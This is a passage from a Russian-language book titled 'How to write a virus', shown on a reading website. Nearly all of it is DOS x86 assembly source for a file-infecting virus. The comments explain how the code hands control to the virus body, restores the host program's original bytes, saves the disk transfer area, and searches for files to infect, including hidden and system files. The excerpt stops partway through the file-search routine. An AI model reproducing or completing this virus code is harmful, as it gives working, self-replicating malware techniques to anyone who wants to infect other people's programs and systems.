"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

org 100h

start: jmp vir ;Передача управ-
;ления вирусному
;коду ...
org 110h

vir: push ds ;Сохраним DS ...
;Корректируем
mov ax,ds ;регистр DS ...
db 05h ;Код команды
add_to_ds: dw 0 ; " ADD AX,00h "
mov ds,ax ;AX -> DS ...

fresh_bytes:
mov al,old_bytes
mov cs:[100h],al
mov al,old_bytes+1
mov cs:[101h],al
mov al,old_bytes+2
mov cs:[102h],al

mov cx,80h ;Размер DTA -
;128 байт ...
mov bx,80h ;Смещение к DTA
lea si,old_dta ;Адрес массива
save_dta:
mov al,byte ptr cs:[bx];Читаем из DTA
;байт и перено-
mov ds:[si],al ;сим его в мас-
;сив ...
inc bx ;К новому байту
inc si ;
loop save_dta ;Цикл 128 раз

find_first:
mov ah,4eh ;Поиск первого
;файла ...
mov cx,00100110b ;archive, system
;hidden
lea dx,maska ;Маска для поис-
;ка
int 21h
jnc r_3 ;Нашли !
jmp restore_dta ;Ошибка !

find_next: mov ah,3eh ;Закроем непод-
int 21h ;ходящий файл...
jnc r_2
jmp restore_dta ;Файл нельзя за-